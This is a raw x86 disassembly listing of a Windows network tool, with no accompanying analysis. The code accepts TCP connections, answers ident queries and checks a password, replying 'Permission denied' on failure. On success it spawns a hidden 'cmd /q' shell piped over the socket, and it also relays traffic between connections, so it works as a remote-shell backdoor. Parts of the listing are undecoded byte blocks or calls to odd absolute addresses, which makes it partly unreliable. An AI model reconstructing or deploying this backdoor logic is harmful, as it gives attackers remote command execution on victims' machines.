		push	dword ptr [ebp-4]
		call	dword_4C931C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C49
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41847D
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BD10
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE77
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 34h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C49
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C49
; ---------------------------------------------------------------------------


loc_410D1A:				; CODE XREF: ___:00410C5Ej
		cmp	[ebp-8], esi
		jnz	short loc_410D46


loc_410D1F:				; CODE XREF: ___:00410C05j
					; ___:00410C29j ...
		call	dword_4C9298
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434918
		push	eax
		call	sub_41C006
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415CEE
		add	esp, 10h


loc_410D46:				; CODE XREF: ___:00410D1Dj
		push	ebx
		call	dword_4C939C
		push	dword ptr [ebp-4]
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_410D69:				; DATA XREF: sub_401AC7+609Eo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4C9304
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4C9384
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410ED5
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43C24C[ecx], eax
		call	dword_4C9214
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9330
		test	eax, eax
		jnz	loc_410ED5
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4C932C
		test	eax, eax
		jnz	loc_410ED5


loc_410E19:				; CODE XREF: ___:00410E2Fj
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9398
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E19
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4349C4
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3AD
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43C244[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410EFA
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 66h, 0F1h
		dd 4D8B0226h, 34C969C4h, 3B000002h, 548189C6h, 740043C2h
		dd 0D0753913h, 0FF63850Fh, 326AFFFFh, 23E890h, 0EDEB0226h
		dd 26F934E8h, 68509002h, 434988h, 4E91E8h, 0EB595900h
		db 3
; ---------------------------------------------------------------------------


loc_410ED5:				; CODE XREF: ___:00410DCCj
					; ___:00410E00j ...
		mov	edi, [ebp+8]
		push	edi
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	dword_4C939C
		push	dword ptr [ebp-40h]
		call	sub_40B6C9
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi


loc_410EFA:				; DATA XREF: ___:00410E8Do
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C2A0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4C9384
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110B0
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4C9304
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4C9344
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410F8A
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4C9388
		jmp	short loc_410F98
; ---------------------------------------------------------------------------


loc_410F8A:				; CODE XREF: ___:00410F79j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4C92BC


loc_410F98:				; CODE XREF: ___:00410F88j
		cmp	eax, edi
		jz	loc_4110B0
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110B0
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434A4C
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3AD
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43C24C[ebx]
		mov	dword_43C244[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43C250[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_4110E1
		push	edi
		push	edi
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43C254[ecx], eax
		jz	short loc_41109D


loc_41104A:				; CODE XREF: ___:00411057j
		cmp	[ebp-20h], edi
		jnz	short loc_411059
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_41104A
; ---------------------------------------------------------------------------


loc_411059:				; CODE XREF: ___:0041104Dj
		mov	ebx, 1000h


loc_41105E:				; CODE XREF: ___:00411099j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4C931C
		cmp	eax, edi
		jle	short loc_4110B0
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41105E
		jmp	short loc_4110B0
; ---------------------------------------------------------------------------


loc_41109D:				; CODE XREF: ___:00411048j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_434A0C
		call	sub_415D62
		pop	ecx
		pop	ecx


loc_4110B0:				; CODE XREF: ___:00410F3Ej
					; ___:00410F9Aj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43C24C[eax]
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	dword_4C939C
		push	dword ptr [ebp-4]
		call	sub_40B6C9
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4110E1:				; DATA XREF: ___:0041102Ao
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C2A0
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_411118:				; CODE XREF: ___:0041115Dj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43C250[esi]
		call	dword_4C931C
		test	eax, eax
		jle	short loc_41115F
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43C24C[esi]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411118


loc_41115F:				; CODE XREF: ___:00411142j
		push	dword_43C250[esi]
		call	dword_4C939C
		push	dword ptr [ebp-14h]
		call	sub_40B6C9
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dw 85E8h
		dd 90022CEEh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43C24C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4C92EC
		test	eax, eax
		jnz	short loc_411202
		push	dword ptr [esi]
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop


loc_411202:				; CODE XREF: ___:004111E8j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4C931C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_411383
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_411383
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_411383
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4C9258
		test	eax, eax
		jz	short loc_41127B
		call	dword_4C9298
		push	eax
		push	offset unk_434B24
		call	sub_415D62
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26E0000h


loc_41127B:				; CODE XREF: ___:00411256j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4C92BC
		cmp	eax, edi
		jnz	short loc_4112A5
		push	dword ptr [ebp-18h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C006
		jmp	short loc_4112B3
; ---------------------------------------------------------------------------


loc_4112A5:				; CODE XREF: ___:0041128Bj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C620


loc_4112B3:				; CODE XREF: ___:004112A3j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43B4B8
		push	dword ptr [esi]
		call	dword_4C9354
		cmp	dword_4CC06C, edi
		jnz	short loc_411315
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4113DD
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411315
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4C9354
		push	dword ptr [esi]
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop


loc_411315:				; CODE XREF: ___:004112CAj
					; ___:004112EBj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434AE8
		call	sub_415D62
		push	dword ptr [ebp+8]
		call	sub_411694
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41135C
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_434ABC
		call	sub_415D62
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		add	esp, 0Ch
		push	ebx
		call	near ptr 26E0000h
		nop


loc_41135C:				; CODE XREF: ___:00411337j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434A90
		call	sub_415D62
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411383	proc near		; CODE XREF: ___:00411218p
					; ___:00411225p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4C931C
		cmp	eax, 1
		jnz	short loc_4113D3
		mov	esi, [ebp+arg_4]


loc_4113A1:				; CODE XREF: sub_411383+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4113C8
		test	al, al
		jz	short loc_4113D7
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4C931C
		cmp	eax, 1
		jz	short loc_4113A1
		jmp	short loc_4113D3
; ---------------------------------------------------------------------------


loc_4113C8:				; CODE XREF: sub_411383+27j
		push	offset unk_434B50
		call	sub_415D62
		pop	ecx


loc_4113D3:				; CODE XREF: sub_411383+19j
					; sub_411383+43j
		xor	eax, eax
		jmp	short loc_4113DA
; ---------------------------------------------------------------------------


loc_4113D7:				; CODE XREF: sub_411383+2Bj
		push	1
		pop	eax


loc_4113DA:				; CODE XREF: sub_411383+52j
		pop	esi
		leave
		retn
sub_411383	endp


; =============== S U B	R O U T	I N E =======================================



sub_4113DD	proc near		; CODE XREF: ___:004112E1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411408
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_434B7C
		call	sub_415D62
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_411408:				; CODE XREF: sub_4113DD+11j
		push	1
		pop	eax
		retn
sub_4113DD	endp

; ---------------------------------------------------------------------------
dword_41140C	dd 81EC8B55h, 5A4ECh, 8458B00h,	786A5756h, 8DF08B59h, 0FFFDECBDh
					; DATA XREF: sub_401AC7+2364o
		dd 0F3016AFFh, 0B8895FA5h, 1DCh, 0FA5C858Dh, 6850FFFFh
		dd 202h, 927415FFh, 0F633004Ch,	1D74C63Bh, 4CEC6850h, 0FE80043h
		dd 0FF000049h, 6EE8B475h, 83FFFFA2h, 0E8570CC4h, 22CEB9Ch
		dd 8A685790h, 90004116h, 36F6B8E8h, 75C08502h, 7EE89029h
		dd 500226F3h, 434CA868h, 48DCE800h, 59590000h, 925C15FFh
		dd 75FF004Ch, 0A233E8B4h, 5759FFFFh, 0EB62E890h, 6A53022Ch
		dd 0E0458D10h, 65E85056h, 830000A8h, 0C7660CC4h, 2E045h
		dd 0FFB075FFh, 4C930415h, 57066A00h, 8966026Ah,	7589E245h
		dd 8415FFE4h, 8B004C93h, 0FFFB83D8h, 13B840Fh, 458B0000h
		dd 69106AB4h, 234C0h, 4C988900h, 8D0043C2h, 5350E045h
		dd 933015FFh, 0C085004Ch, 117850Fh, 0FF680000h,	537FFFFFh
		dd 932C15FFh, 0C085004Ch, 103850Fh, 6C680000h, 0C700434Ch
		dd 0CF045h, 75890000h, 0F87589F4h, 47C5E8h, 7D895900h
		dd 0FC458D08h, 10FC45C7h, 50000000h, 50CC458Dh,	9815FF53h
		dd 8B004C93h, 0FFFF83F8h, 0CA840Fh, 75FF0000h, 8458D08h
		dd 68086A50h, 0FFFFh, 0E415FF57h, 83004C92h, 0C574FFF8h
		dd 0CE45B70Fh, 89B475FFh, 0FF50C875h, 15FFD075h, 4C9390h
		dd 0EC858D50h, 68FFFFFBh, 434C28h, 0AA78E850h, 858D0000h
		dd 0FFFFFBECh, 4754E850h, 8D570000h, 0FFFBEC85h, 50096AFFh
		dd 0FF9E04E8h, 0B84589FFh, 234C069h, 4D8B0000h,	24C483B4h
		dd 0C2448889h, 458D0043h, 858D50DCh, 0FFFFFDECh, 7E685056h
		dd 8D004111h, 5056F045h, 0EA26E890h, 4D8B0226h,	34C969B8h
		dd 3B000002h, 548189C6h, 740043C2h, 0C8753913h,	0FF37850Fh
		dd 326AFFFFh, 0F8E3E890h, 0EDEB0225h, 26F1F4E8h, 68509002h
		dd 434BECh, 4751E8h, 0EB595900h, 87D8B03h, 929815FFh, 8D50004Ch
		dd 0FFFBEC85h, 4BB468FFh, 0E8500043h, 0A9D6h, 390CC483h
		dd 2075C475h, 0EC858D56h, 0FFFFFFFBh, 8D50C075h, 0FFFDF085h
		dd 0B5FF50FFh, 0FFFFFDECh, 0FF820DE8h, 14C483FFh, 0FBEC858Dh
		dd 0E850FFFFh, 468Ah, 15FF5759h, 4C939Ch, 9C15FF53h, 0FF004C93h
		dd 4C925C15h, 0B475FF00h, 0FFA048E8h, 0E85659FFh, 22CE978h
		dd 0C0335B90h, 4244439h, 0C3C0940Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411694	proc near		; CODE XREF: ___:0041132Dp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4117E5
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43C24C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42708C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119B7
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_4116FF
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset unk_434D4C
		call	sub_415D62
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_411739
; ---------------------------------------------------------------------------


loc_4116FF:				; CODE XREF: sub_411694+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411A69
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411740
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_434D4C
		call	sub_415D62
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 26908D2h
		nop


loc_411739:				; CODE XREF: sub_411694+69j
		xor	eax, eax
		jmp	loc_4117E0
; ---------------------------------------------------------------------------


loc_411740:				; CODE XREF: sub_411694+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2780E94h
		sub	eax, ebx
		jz	short loc_41179A
		dec	eax
		jz	short loc_411794
		dec	eax
		jz	short loc_411780
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_434D18
		call	sub_415D62
		pop	ecx
		pop	ecx
		jmp	short loc_4117AF
; ---------------------------------------------------------------------------


loc_411780:				; CODE XREF: sub_411694+D5j
		mov	edi, dword_4270BC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117AF
; ---------------------------------------------------------------------------


loc_411794:				; CODE XREF: sub_411694+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_41179E
; ---------------------------------------------------------------------------


loc_41179A:				; CODE XREF: sub_411694+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_41179E:				; CODE XREF: sub_411694+104j
		nop
		call	near ptr 26908D2h
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2710E8Eh
		nop


loc_4117AF:				; CODE XREF: sub_411694+EAj
					; sub_411694+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4C939C
		push	esi
		call	sub_41BA31
		pop	ecx
		push	1
		pop	eax


loc_4117E0:				; CODE XREF: sub_411694+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411694	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4117E5	proc near		; CODE XREF: sub_411694+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_4118CF
		mov	ebx, dword_427114
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427078
		test	eax, eax
		jnz	short loc_411848
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_434DFC
		jmp	short loc_411868
; ---------------------------------------------------------------------------


loc_411848:				; CODE XREF: sub_4117E5+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_411870
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset unk_434DBC


loc_411868:				; CODE XREF: sub_4117E5+61j
		call	sub_415D62
		pop	ecx
		jmp	short loc_41189E
; ---------------------------------------------------------------------------


loc_411870:				; CODE XREF: sub_4117E5+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_4118DE
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4118D3
		push	offset unk_434D94
		call	sub_415CEE


loc_41189E:				; CODE XREF: sub_4117E5+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118AA
		push	[ebp+var_4]
		call	edi


loc_4118AA:				; CODE XREF: sub_4117E5+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118B5
		push	[ebp+var_8]
		call	edi


loc_4118B5:				; CODE XREF: sub_4117E5+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4118BE
		push	eax
		call	edi


loc_4118BE:				; CODE XREF: sub_4117E5+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4118C8
		push	eax
		call	edi


loc_4118C8:				; CODE XREF: sub_4117E5+DEj
		push	esi
		call	sub_41BA31
		pop	ecx


loc_4118CF:				; CODE XREF: sub_4117E5+1Dj
		xor	eax, eax
		jmp	short loc_4118D9
; ---------------------------------------------------------------------------


loc_4118D3:				; CODE XREF: sub_4117E5+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_4118D9:				; CODE XREF: sub_4117E5+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4117E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118DE	proc near		; CODE XREF: sub_4117E5+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BD10
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BD10
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427110
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 26607E0h
		test	eax, eax
		jz	short loc_41199A
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43C248[eax], ecx
		call	near ptr 266053Bh
		nop
		jmp	short loc_4119B0
; ---------------------------------------------------------------------------


loc_41199A:				; CODE XREF: sub_4118DE+9Aj
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset unk_434E3C
		call	sub_415D62
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119B0:				; CODE XREF: sub_4118DE+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4118DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119B7	proc near		; DATA XREF: sub_411694+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270F4
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_4119E0:				; CODE XREF: sub_4119B7+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A48
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A1B


loc_4119F1:				; CODE XREF: sub_4119B7+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A0B
		cmp	dl, 0Dh
		jz	short loc_411A0B
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A0B:				; CODE XREF: sub_4119B7+44j
					; sub_4119B7+49j
